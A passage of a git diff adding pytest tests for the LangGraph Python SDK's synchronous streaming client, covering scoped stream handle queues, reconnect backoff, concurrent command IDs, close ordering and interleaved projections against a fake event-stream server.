errors, f"Unexpected exception(s): {errors}" + # Status must be one of the valid terminal values (not "started"). + assert handle.status in ("completed", "failed", "interrupted"), ( + f"Unexpected status: {handle.status!r}" + ) + # Each inbox must have exactly one None sentinel — the lock must ensure + # that _close_inboxes() is called exactly once. + assert handle._messages_inbox.qsize() == 1, ( + f"messages_inbox has {handle._messages_inbox.qsize()} items (expected 1)" + ) + assert handle._tools_inbox.qsize() == 1, ( + f"tools_inbox has {handle._tools_inbox.qsize()} items (expected 1)" + ) + assert handle._tasks_inbox.qsize() == 1, ( + f"tasks_inbox has {handle._tasks_inbox.qsize()} items (expected 1)" + ) + assert handle._messages_inbox.get_nowait() is None + assert handle._tools_inbox.get_nowait() is None + assert handle._tasks_inbox.get_nowait() is None + + +# --------------------------------------------------------------------------- +# Fix B: bound SyncScopedStreamHandle inboxes via max_queue_size +# --------------------------------------------------------------------------- + + +def test_sync_scoped_handle_inboxes_bounded_by_max_queue_size(): + """SyncScopedStreamHandle with max_queue_size=N creates queues with maxsize=N.""" + handle = SyncScopedStreamHandle( + thread=None, # ty: ignore[invalid-argument-type] + path=("worker:1",), + graph_name="worker", + trigger_call_id="1", + max_queue_size=16, + ) + assert handle._messages_inbox.maxsize == 16 + assert handle._tools_inbox.maxsize == 16 + assert handle._tasks_inbox.maxsize == 16 + + +def test_sync_child_handle_inherits_max_queue_size_from_parent(): + """Grandchild SyncScopedStreamHandles created by _SyncHandleSubgraphsProjection + inherit the parent's max_queue_size so all queues are consistently bounded.""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + tasks_start_event( + seq=2, namespace=["worker:abc", "tool:gc1"], task_id="t-gc1" + ), + tasks_result_event( + seq=3, namespace=["worker:abc"], task_id="gc1", name="tool" + ), + tasks_result_event(seq=4, namespace=[], task_id="abc", name="worker"), + lifecycle_completed_event(seq=5), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + [child] = list(thread.subgraphs) + [grandchild] = list(child.subgraphs) + + # Grandchild queues must have the same maxsize as the parent queues. + assert grandchild._messages_inbox.maxsize == child._messages_inbox.maxsize + assert grandchild._tools_inbox.maxsize == child._tools_inbox.maxsize + assert grandchild._tasks_inbox.maxsize == child._tasks_inbox.maxsize + + +# --------------------------------------------------------------------------- +# Fix C: force-complete uses parent terminal status +# --------------------------------------------------------------------------- + + +def test_sync_force_complete_uses_failed_when_run_errored(): + """If the lifecycle signals an errored run, scoped children that are still + 'started' when the subgraphs iterator's finally block runs must be + force-finished as 'failed', not 'completed'.""" + from streaming._events import lifecycle_errored_event + + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + # No tasks_result — run errored before the child task finished. + lifecycle_errored_event(seq=2, error="boom"), + ] + ) + handles: list[SyncScopedStreamHandle] = [] + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + for handle in thread.subgraphs: + handles.append(handle) + + assert len(handles) == 1 + child = handles[0] + assert child.status == "failed" + + +def test_sync_force_complete_uses_completed_when_run_completed(): + """If the lifecycle signals a completed run, any subgraph child still + 'started' at finally time is force-finished as 'completed' (normal case).""" + fake = SyncFakeServer() + fake.script( + [ + lifecycle_started_event(seq=0), + tasks_start_event(seq=1, namespace=["worker:abc"], task_id="t-child"), + # No tasks_result — but lifecycle completed normally. + lifecycle_completed_event(seq=2), + ] + ) + handles: list[SyncScopedStreamHandle] = [] + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + for handle in thread.subgraphs: + handles.append(handle) + + assert len(handles) == 1 + child = handles[0] + assert child.status == "completed" + + +# --------------------------------------------------------------------------- +# Fix D: only enqueue close sentinel on inboxes that had a consumer +# --------------------------------------------------------------------------- + + +def test_sync_close_inboxes_does_not_enqueue_on_uniterated_inboxes(): + """_close_inboxes must not push a sentinel on inboxes that had no consumer.""" + handle = SyncScopedStreamHandle( + thread=None, # ty: ignore[invalid-argument-type] + path=("worker:1",), + graph_name="worker", + trigger_call_id="1", + ) + # No projection iterated — _close_inboxes should leave all queues empty. + handle._close_inboxes() + assert handle._messages_inbox.qsize() == 0 + assert handle._tools_inbox.qsize() == 0 + assert handle._tasks_inbox.qsize() == 0 + + +def test_sync_close_inboxes_enqueues_sentinel_on_iterated_inboxes(): + """_close_inboxes must push a None sentinel only on inboxes that had a consumer, + so projection iterators see the EOF signal.""" + handle = SyncScopedStreamHandle( + thread=None, # ty: ignore[invalid-argument-type] + path=("worker:1",), + graph_name="worker", + trigger_call_id="1", + ) + handle._mark_iterated("messages") + handle._close_inboxes() + # Only the messages inbox should have a sentinel. + assert handle._messages_inbox.qsize() == 1 + assert handle._messages_inbox.get_nowait() is None + assert handle._tools_inbox.qsize() == 0 + assert handle._tasks_inbox.qsize() == 0 diff --git a/libs/sdk-py/tests/streaming/test_sync_shared_stream.py b/libs/sdk-py/tests/streaming/test_sync_shared_stream.py new file mode 100644 index 0000000..4562413 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_sync_shared_stream.py @@ -0,0 +1,87 @@ +"""Sync shared stream controller tests.""" + +from __future__ import annotations + +import httpx + +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk._sync.threads import SyncThreadsClient +from langgraph_sdk.stream.sync_controller import SyncStreamController +from langgraph_sdk.stream.transport.sync_http import SyncProtocolSseTransport +from streaming._events import values_event +from streaming._sync_fake_server import SyncFakeServer, SyncStreamScript + + +def test_sync_controller_fans_out_to_subscription(): + fake = SyncFakeServer() + fake.script([values_event(seq=1, counter=1)]) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + transport = SyncProtocolSseTransport(client=raw, thread_id="t-1") + controller = SyncStreamController(transport) + sub = controller.register_subscription({"channels": ["values"]}) + controller.reconcile_stream({"channels": ["values"]}) + controller.ensure_fanout_running() + + assert sub.queue.get(timeout=1) == values_event(seq=1, counter=1) + assert sub.queue.get(timeout=1) is None + controller.close() + + +def test_sync_send_command_applied_through_seq_seeds_shared_stream_since(): + fake = SyncFakeServer() + fake.script_sequence([SyncStreamScript(events=[]), SyncStreamScript(events=[])]) + fake.script_command_response( + { + "type": "success", + "id": None, + "result": {"run_id": "run-1"}, + "meta": {"applied_through_seq": 17}, + } + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + assert list(thread.subscribe(["values"])) == [] + + # The shared SSE filter is a union of subscription params plus + # ``lifecycle`` (added by ``_compute_current_union`` for projection- + # iterator termination on root-terminal). Match any request whose + # channels include ``values``. + values_requests = [ + b for b in fake.stream_request_bodies if "values" in (b.get("channels") or []) + ] + assert len(values_requests) == 1 + assert values_requests[0]["since"] == 17 + + +def test_sync_shared_stream_reconnects_with_since_after_transport_drop(): + fake = SyncFakeServer() + fake.script_sequence( + [ + SyncStreamScript( + events=[values_event(seq=1, values={"counter": 1})], + fail_after=1, + ), + SyncStreamScript(events=[values_event(seq=2, values={"counter": 2})]), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + transport = SyncProtocolSseTransport(client=raw, thread_id="t-1") + controller = SyncStreamController(transport) + sub = controller.register_subscription({"channels": ["values"]}) + controller.reconcile_stream({"channels": ["values"]}) + controller.ensure_fanout_running() + + first = sub.queue.get(timeout=1.0) + second = sub.queue.get(timeout=1.0) + end = sub.queue.get(timeout=1.0) + controller.close() + transport.close() + + assert first is not None + assert second is not None + assert first["seq"] == 1 + assert second["seq"] == 2 + assert end is None + assert fake.stream_request_bodies[1]["since"] == 1 diff --git a/libs/sdk-py/tests/streaming/test_sync_thread_stream.py b/libs/sdk-py/tests/streaming/test_sync_thread_stream.py new file mode 100644 index 0000000..72221d8 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_sync_thread_stream.py @@ -0,0 +1,911 @@ +"""Tests for SyncThreadStream — Tasks 9.1 through 9.6.""" + +from __future__ import annotations + +import re +import threading +import time +import uuid +from collections.abc import Iterator + +import httpx +import pytest + +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk._sync.threads import SyncThreadsClient +from langgraph_sdk.stream.transport.sync_http import ( + SyncEventStreamHandle, + SyncProtocolSseTransport, +) +from streaming._sync_fake_server import SyncFakeServer, SyncStreamScript + +# --------------------------------------------------------------------------- +# Task 9.1 — run_start_gate +# --------------------------------------------------------------------------- + + +def test_sync_subscribe_before_run_start_waits_on_gate(): + """A subscribe issued before run.start completes must block until the + gate is set, mirroring async behavior.""" + fake = SyncFakeServer() + # Lifecycle + fanout streams: empty so threads terminate cleanly. + fake.script_sequence( + [ + SyncStreamScript(events=[]), # lifecycle watcher + SyncStreamScript(events=[]), # first subscribe + ] + ) + + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + controller = thread._controller + assert controller is not None + + started = threading.Event() + + def slow_subscriber() -> None: + started.set() + list(thread.subscribe(["values"])) + + t = threading.Thread(target=slow_subscriber) + t.start() + started.wait(timeout=0.5) + + # Set the gate manually (simulating run.start completing) + time.sleep(0.05) + assert controller._run_start_gate is not None + controller._run_start_gate.set() + + t.join(timeout=2.0) + + # The subscriber should have unblocked and terminated cleanly. + assert not t.is_alive(), "subscriber thread should have terminated" + + +# --------------------------------------------------------------------------- +# Task 9.2 — reconnect backoff + ready check +# --------------------------------------------------------------------------- + + +def test_sync_reconnect_uses_backoff_between_attempts(monkeypatch): + """_reconnect_shared_stream sleeps between retry attempts with exp+jitter + backoff, mirroring the async reconnect behavior.""" + import langgraph_sdk.stream.sync_controller as _ctrl_mod + + sleeps: list[float] = [] + monkeypatch.setattr(_ctrl_mod.time, "sleep", lambda d: sleeps.append(d)) + + from langgraph_sdk.stream.sync_controller import SyncStreamController + from langgraph_sdk.stream.transport.sync_http import SyncProtocolSseTransport + + class _FailingTransport(SyncProtocolSseTransport): + """Transport that always raises on open_event_stream.""" + + def open_event_stream(self, params: dict) -> SyncEventStreamHandle: # noqa: ARG002 + raise RuntimeError("scripted transport failure") + + with httpx.Client(base_url="http://test") as raw: + transport = _FailingTransport(client=raw, thread_id="t-1") + controller = SyncStreamController(transport, max_reconnect_attempts=5) + controller._shared_stream_filter = {"channels": ["values"]} + result = controller._reconnect_shared_stream() + + assert result is False, "all attempts should have failed" + # Attempts 0..4 → sleeps before attempts 1..4 → 4 sleeps + assert len(sleeps) == 4, f"Expected 4 sleeps, got {sleeps}" + # Backoff should grow (each delay is larger than previous, ignoring jitter) + delays_without_jitter = [0.1 * (2**i) for i in range(4)] + for i, (sleep, expected_base) in enumerate( + zip(sleeps, delays_without_jitter, strict=False) + ): + assert sleep >= expected_base, ( + f"sleep[{i}]={sleep} < expected base {expected_base}" + ) + + +# --------------------------------------------------------------------------- +# Task 9.3 — rotation drains buffered events from old stream +# --------------------------------------------------------------------------- + + +def test_sync_rotation_does_not_lose_buffered_events(): + """When the shared stream rotates, old-stream events already in the queue + are not dropped. _drain_and_close dispatches remaining events from the + old handle to subscribers before closing it.""" + import queue + from typing import Any + + from langgraph_sdk.stream.sync_controller import SyncStreamController + from langgraph_sdk.stream.transport.sync_http import ( + SyncEventStreamHandle, + SyncProtocolSseTransport, + ) + from streaming._events import values_event + + event_a = values_event(seq=1, counter=1) + + class _ScriptedTransport(SyncProtocolSseTransport): + """First call produces event_a; second call produces an empty stream.""" + + def open_event_stream(self, params: dict) -> SyncEventStreamHandle: # noqa: ARG002 + def _gen_a() -> Iterator[Any]: + yield event_a + + def _gen_empty() -> Iterator[Any]: + return + yield # pragma: no cover + + # Alternate: first call → a, second → empty. + if not hasattr(self, "_call_count"): + self._call_count = 0 + self._call_count += 1 + events_gen: Iterator[Any] = ( + _gen_a() if self._call_count == 1 else _gen_empty() + ) + return SyncEventStreamHandle( + events=events_gen, + error=lambda: None, + close=lambda: None, + ) + + with httpx.Client(base_url="http://test") as raw: + transport = _ScriptedTransport(client=raw, thread_id="t-1") + controller = SyncStreamController(transport) + sub = controller.register_subscription({"channels": ["values"]}) + + # First reconcile — opens old stream (event_a available immediately). + controller.reconcile_stream({"channels": ["values"]}) + # Do NOT start fanout; let reconcile_stream cause a rotation directly. + + # Second reconcile: rotates to empty stream; drain thread handles old. + controller.reconcile_stream({"channels": ["values", "updates"]}) + + # Start fanout AFTER rotation (picks up the new empty stream). + controller.ensure_fanout_running() + + # Allow drain thread to finish before collecting results. + controller.close() + + received = [] + while True: + try: + item = sub.queue.get_nowait() + if item is None: + continue + received.append(item) + except queue.Empty: + break + + seqs = [e.get("seq") for e in received] + assert 1 in seqs, f"event_a (seq=1) not received via drain; got seqs={seqs}" + + +# --------------------------------------------------------------------------- +# Task 9.4 — _next_command_id lock +# --------------------------------------------------------------------------- + + +def test_sync_concurrent_commands_do_not_share_command_id(): + """50 concurrent threads calling _send_command must each get a unique id.""" + from concurrent.futures import ThreadPoolExecutor + from typing import Any + + captured_ids: list[int] = [] + ids_lock = threading.Lock() + + class _CapturingTransport(SyncProtocolSseTransport): + """Captures command ids; always returns success.""" + + def send_command(self, command: dict) -> dict: + with ids_lock: + captured_ids.append(command["id"]) + return {"type": "success", "id": command["id"], "result": {}} + + def open_event_stream(self, params: dict) -> SyncEventStreamHandle: # noqa: ARG002 + def _gen() -> Iterator[Any]: + return + yield + + return SyncEventStreamHandle( + events=_gen(), error=lambda: None, close=lambda: None + ) + + fake = SyncFakeServer() + fake.script_sequence([SyncStreamScript(events=[])]) + + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads_client = SyncThreadsClient(SyncHttpClient(raw)) + with threads_client.stream(thread_id="t-cmd", assistant_id="agent") as stream: + # Pre-set gate so _send_command doesn't wait. + if stream._controller and stream._controller._run_start_gate: + stream._controller._run_start_gate.set() + # Replace transport with capturing transport. + capture_transport = _CapturingTransport(client=raw, thread_id="t-cmd") + stream._transport = capture_transport + + with ThreadPoolExecutor(max_workers=50) as ex: + futures = [ + ex.submit(stream._send_command, "noop", {}) for _ in range(50) + ] + for f in futures: + f.result() + + assert len(set(captured_ids)) == 50, ( + f"Expected 50 unique command ids, got {len(set(captured_ids))} unique " + f"out of {len(captured_ids)} total: {sorted(captured_ids)}" + ) + + +# --------------------------------------------------------------------------- +# Task 9.5 — sync events returns fresh iterator per access +# --------------------------------------------------------------------------- + + +def test_sync_events_returns_fresh_iterator_each_access(): + """Two accesses of `thread.events` yield independent subscriptions, + mirroring the async semantics where each access opens a new subscriber.""" + fake = SyncFakeServer() + from streaming._events import values_event + + event_1 = values_event(seq=1, counter=1) + fake.script_sequence( + [ + SyncStreamScript(events=[]), # lifecycle watcher + SyncStreamScript(events=[event_1]), # first events access + SyncStreamScript(events=[event_1]), # second events access + ] + ) + + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads_client = SyncThreadsClient(SyncHttpClient(raw)) + with threads_client.stream(thread_id="t-5", assistant_id="agent") as thread: + # Pre-set gate. + if thread._controller and thread._controller._run_start_gate: + thread._controller._run_start_gate.set() + + iter1 = thread.events + iter2 = thread.events + + # They must be independent objects (different subscription iterators). + assert iter1 is not iter2 + + +# --------------------------------------------------------------------------- +# Task 9.6 — close ordering: fail active streams before controller close +# --------------------------------------------------------------------------- + + +def test_close_unblocks_active_subscription_before_lifecycle_join(): + """close() must send None to active subscriptions BEFORE joining the + lifecycle watcher thread, so callers wake quickly even if the watcher + thread blocks for up to 1s.""" + import queue + + # Gate that keeps the lifecycle watcher thread alive for 0.4s. + lifecycle_block = threading.Event() + unblock_times: list[float] = [] + close_times: list[float] = [] + + class _BlockingFakeServer(SyncFakeServer): + """Lifecycle stream blocks until gate set; subscribe stream is empty.""" + + def _handle(self, request: httpx.Request) -> httpx.Response: + path = request.url.path + if path.endswith("/stream/events"): + import orjson + + body = orjson.loads(request.content) + channels = body.get("channels", []) + if "lifecycle" in channels: + # Block lifecycle watcher for 0.4s. + lifecycle_block.wait(timeout=0.4) + return super()._handle(request) + + fake = _BlockingFakeServer() + fake.script_sequence( + [ + SyncStreamScript(events=[]), # lifecycle watcher + SyncStreamScript(events=[]), # subscribe fanout stream + ] + ) + + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads_client = SyncThreadsClient(SyncHttpClient(raw)) + with threads_client.stream(thread_id="t-6", assistant_id="agent") as thread: + if thread._controller and thread._controller._run_start_gate: + thread._controller._run_start_gate.set() + + assert thread._controller is not None + sub = thread._controller.register_subscription({"channels": ["values"]}) + thread._controller.reconcile_stream({"channels": ["values"]}) + thread._controller.ensure_fanout_running() + + consumer_ready = threading.Event() + + def _consume() -> None: + consumer_ready.set() + while True: + try: + item = sub.queue.get(timeout=2.0) + if item is None: + unblock_times.append(time.monotonic()) + return + except queue.Empty: + return + + t = threading.Thread(target=_consume) + t.start() + consumer_ready.wait(timeout=1.0) + time.sleep(0.02) + + close_times.append(time.monotonic()) + # __exit__ calls close() here. + + lifecycle_block.set() # Unblock watcher so test can finish. + t.join(timeout=2.0) + assert not t.is_alive(), "consumer thread should have unblocked" + assert unblock_times, "consumer never received sentinel" + elapsed = unblock_times[0] - close_times[0] + # With controller closed BEFORE lifecycle join, sentinel arrives fast. + # Lifecycle watcher blocks for 0.4s but that should not delay the sentinel. + assert elapsed < 0.3, ( + f"consumer woke {elapsed:.3f}s after close() — " + "controller.close() should precede the lifecycle thread join" + ) + + +def test_sync_thread_agent_get_tree_fetches_assistant_graph(): + fake = SyncFakeServer() + fake.set_graph( + { + "nodes": [{"id": "agent", "type": "runnable", "data": {"name": "agent"}}], + "edges": [{"source": "agent", "target": "__end__"}], + } + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream( + thread_id="t-1", + assistant_id="agent", + headers={"X-Custom-Header": "my-value"}, + ) as thread: + graph = thread.agent.get_tree(xray=True) + + assert graph["nodes"][0]["id"] == "agent" + assert graph["edges"] == [{"source": "agent", "target": "__end__"}] + assert fake.graph_request_params == [{"xray": "true"}] + assert fake.graph_request_headers[0].get("x-custom-header") == "my-value" + + +def test_sync_thread_agent_get_tree_raises_after_close(): + with httpx.Client(base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + stream = threads.stream(thread_id="t-1", assistant_id="agent") + stream.close() + with pytest.raises(RuntimeError, match="closed"): + stream.agent.get_tree() + + +def test_sync_extensions_projection_empty_name_raises(): + with httpx.Client(base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + stream = threads.stream(thread_id="t-1", assistant_id="agent") + with pytest.raises(ValueError, match="non-empty"): + stream.extensions[""] + + +def test_sync_extensions_projection_closed_stream_yields_nothing(): + with httpx.Client(base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + # Enter and immediately exit so _controller is set but _closed is True. + with threads.stream(thread_id="t-1", assistant_id="agent") as stream: + pass + payloads = list(stream.extensions["progress"]) + assert payloads == [] + + +def test_sync_threads_stream_mints_uuid4_when_thread_id_none(): + with httpx.Client(base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + stream = threads.stream(assistant_id="agent") + assert re.fullmatch( + r"[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + stream.thread_id, + ) + assert uuid.UUID(stream.thread_id).version == 4 + + +def test_sync_run_start_sends_command(): + from streaming._events import lifecycle_completed_event + + fake = SyncFakeServer() + fake.script([lifecycle_completed_event(seq=1)]) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + result = thread.run.start(input={"x": 1}) + + assert result == {"run_id": "run-1"} + assert fake.received_commands[0]["method"] == "run.start" + assert fake.received_commands[0]["params"]["assistant_id"] == "agent" + + +def test_sync_events_iterates_raw_events(): + from streaming._events import values_event + + fake = SyncFakeServer() + fake.script([values_event(seq=1, counter=1)]) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + events = list(thread.subscribe(["values"])) + + assert events == [values_event(seq=1, counter=1)] + + +def test_sync_lifecycle_watcher_reconnects_with_since_after_transport_drop(): + from streaming._events import lifecycle_completed_event, lifecycle_event + + fake = SyncFakeServer() + fake.set_state({"ok": True}) + fake.script_sequence( + [ + SyncStreamScript( + events=[lifecycle_event(seq=1, phase="running")], + fail_after=1, + ), + SyncStreamScript(events=[lifecycle_completed_event(seq=2)]), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="existing", assistant_id="agent") as thread: + terminal = thread._wait_for_run_done() + + assert terminal.status == "completed" + assert terminal.error is None + assert fake.stream_request_bodies[1]["since"] == 1 + + +def test_sync_threads_stream_accepts_websocket_transport_option(): + with httpx.Client(base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + stream = threads.stream( + thread_id="t-1", + assistant_id="agent", + transport="websocket", + ) + assert stream._transport_kind == "websocket" + + +def test_sync_threads_stream_rejects_unknown_transport_option(): + import pytest + + with httpx.Client(base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with pytest.raises(ValueError, match="transport"): + threads.stream( + thread_id="t-1", + assistant_id="agent", + transport="bogus", # ty: ignore[invalid-argument-type] + ) + + +def test_v3_streaming_sync_surface_smoke(): + from streaming._events import ( + custom_event, + lifecycle_completed_event, + message_finish_event, + message_start_event, + message_text_delta_event, + message_text_finish_event, + tool_finished_event, + tool_started_event, + values_event, + ) + + fake = SyncFakeServer() + fake.set_state({"final": True}) + # Single script — projections consume events in parallel threads so all + # subscriptions are registered before SSE rotation could drop events. + # Mirrors the async smoke test's `asyncio.gather` pattern. + fake.script( + [ + values_event(seq=1, values={"step": 1}), + message_start_event(seq=2, message_id="msg-1"), + message_text_delta_event(seq=3, text="hi", message_id="msg-1"), + message_text_finish_event(seq=4, text="hi", message_id="msg-1"), + message_finish_event(seq=5, message_id="msg-1"), + tool_started_event(seq=6, tool_call_id="call-1", tool_name="search"), + tool_finished_event(seq=7, tool_call_id="call-1", output={"ok": True}), + custom_event(seq=8, name="progress", step=1), + lifecycle_completed_event(seq=9), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + start = thread.run.start( + input={"messages": [{"role": "user", "content": "hi"}]} + ) + + # Gate every reconcile_stream call on a barrier so that all four + # projection threads register their subscriptions before any + # reconcile widens (or rotates) the shared SSE. This mirrors the + # async smoke test's `asyncio.gather` pattern: every subscription + # is registered before the first SSE opens; one SSE covers all + # consumers and `_seen_event_ids` covers any subsequent reconnect. + controller = thread._controller + assert controller is not None + barrier = threading.Barrier(4) + real_reconcile = controller.reconcile_stream + + def _gated_reconcile(candidate_filter): + barrier.wait(timeout=10) + return real_reconcile(candidate_filter) + + controller.reconcile_stream = _gated_reconcile # ty: ignore[invalid-assignment] + + results: dict[str, object] = {} + errors: list[BaseException] = [] + + def _run_values() -> None: + try: + for v in thread.values: + results["values"] = v + return + except BaseException as err: # pragma: no cover - propagated + errors.append(err) + + def _run_messages() -> None: + try: + results["messages"] = list(thread.messages) + except BaseException as err: # pragma: no cover - propagated + errors.append(err) + + def _run_tools() -> None: + try: + results["tools"] = list(thread.tool_calls) + except BaseException as err: # pragma: no cover - propagated + errors.append(err) + + def _run_progress() -> None: + try: + results["progress"] = list(thread.extensions["progress"]) + except BaseException as err: # pragma: no cover - propagated + errors.append(err) + + workers = [ + threading.Thread(target=_run_values), + threading.Thread(target=_run_messages), + threading.Thread(target=_run_tools), + threading.Thread(target=_run_progress), + ] + for w in workers: + w.start() + for w in workers: + w.join(timeout=10) + assert not w.is_alive(), "smoke worker thread hung" + controller.reconcile_stream = real_reconcile # ty: ignore[invalid-assignment] + assert not errors, errors + final = thread.output + + assert start == {"run_id": "run-1"} + assert results["values"] == fake.state["values"] + messages_result = results["messages"] + assert isinstance(messages_result, list) + assert [str(m.text) for m in messages_result] == ["hi"] # ty: ignore[unresolved-attribute] + tools_result = results["tools"] + assert isinstance(tools_result, list) + assert tools_result[0].name == "search" # ty: ignore[unresolved-attribute] + assert results["progress"] == [{"name": "progress", "step": 1}] + assert final == {"final": True} + + +# --------------------------------------------------------------------------- +# interleave_projections tests +# --------------------------------------------------------------------------- + + +def test_interleave_projections_single_channel_values(): + from streaming._events import ( + lifecycle_completed_event, + lifecycle_started_event, + values_event, + ) + + fake = SyncFakeServer() + fake.set_state({"counter": 0}) + fake.script( + [ + lifecycle_started_event(seq=0), + values_event(seq=1, counter=1), + values_event(seq=2, counter=2), + lifecycle_completed_event(seq=3), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + items = [] + for ch, item in thread.interleave_projections(["values"]): + items.append((ch, item)) + assert ("values", {"counter": 1}) in items + assert ("values", {"counter": 2}) in items + assert all(ch == "values" for ch, _ in items) + + +def test_interleave_projections_values_and_messages_arrival_order(): + from streaming._events import ( + lifecycle_completed_event, + lifecycle_started_event, + message_finish_event, + message_start_event, + values_event, + ) + + fake = SyncFakeServer() + fake.set_state({"counter": 0}) + fake.script( + [ + lifecycle_started_event(seq=0), + values_event(seq=1, counter=1), + message_start_event(seq=2, message_id="m-1"), + values_event(seq=3, counter=2), + message_finish_event(seq=4, message_id="m-1"), + lifecycle_completed_event(seq=5), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + order = [] + for ch, _ in thread.interleave_projections(["values", "messages"]): + order.append(ch) + if len(order) >= 3: + break + assert order[:3] == ["values", "messages", "values"] + + +def test_interleave_projections_mixes_builtin_and_extension(): + from streaming._events import ( + custom_event, + lifecycle_completed_event, + lifecycle_started_event, + values_event, + ) + + fake = SyncFakeServer() + fake.set_state({"counter": 0}) + fake.script( + [ + lifecycle_started_event(seq=0), + values_event(seq=1, counter=1), + custom_event(seq=2, name="foo", hello="world"), + lifecycle_completed_event(seq=3), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + items = [] + for ch, item in thread.interleave_projections(["values", "foo"]): + items.append((ch, item)) + assert ("values", {"counter": 1}) in items + assert ("foo", {"name": "foo", "hello": "world"}) in items + + +def test_interleave_projections_tool_calls_uses_public_name(): + from streaming._events import ( + lifecycle_completed_event, + lifecycle_started_event, + tool_finished_event, + tool_started_event, + ) + + fake = SyncFakeServer() + fake.set_state({}) + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1", tool_name="search"), + tool_finished_event(seq=2, tool_call_id="call-1", output={"ok": True}), + lifecycle_completed_event(seq=3), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + names = [] + handle = None + for ch, item in thread.interleave_projections(["tool_calls"]): + names.append(ch) + if handle is None: + handle = item + break + assert names == ["tool_calls"] + assert handle is not None + assert handle.tool_call_id == "call-1" + + +def test_interleave_projections_subgraphs_discovers_child(): + from streaming._events import ( + lifecycle_completed_event, + lifecycle_started_event, + ) + + fake = SyncFakeServer() + fake.set_state({}) + fake.script( + [ + lifecycle_started_event(seq=0), + lifecycle_started_event(seq=1, namespace=["child"]), + lifecycle_completed_event(seq=2), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + discovered = [] + for ch, handle in thread.interleave_projections(["subgraphs"]): + discovered.append((ch, handle.path)) + assert ("subgraphs", ("child",)) in discovered + + +def test_interleave_projections_inflight_tool_call_failed_on_break(): + """A tool handle held past an early break is failed in teardown, never left hanging.""" + from streaming._events import ( + lifecycle_completed_event, + lifecycle_started_event, + tool_started_event, + ) + + fake = SyncFakeServer() + fake.set_state({}) + fake.script( + [ + lifecycle_started_event(seq=0), + tool_started_event(seq=1, tool_call_id="call-1", tool_name="search"), + # no tool-finished: the call is still in flight when the consumer breaks + lifecycle_completed_event(seq=2), + ] + ) + with httpx.Client(transport=fake.transport, base_url="http://test") as raw: + threads = SyncThreadsClient(SyncHttpClient(raw)) + with threads.stream(thread_id="t-1", assistant_id="agent") as thread: + thread.run.start(input={}) + handle = None + for _, item in thread.interleave_projections(["tool_calls"]): + handle = item + break + assert handle is not None + # Without teardown finalization this blocks forever; the bounded + # timeout turns a regression into a 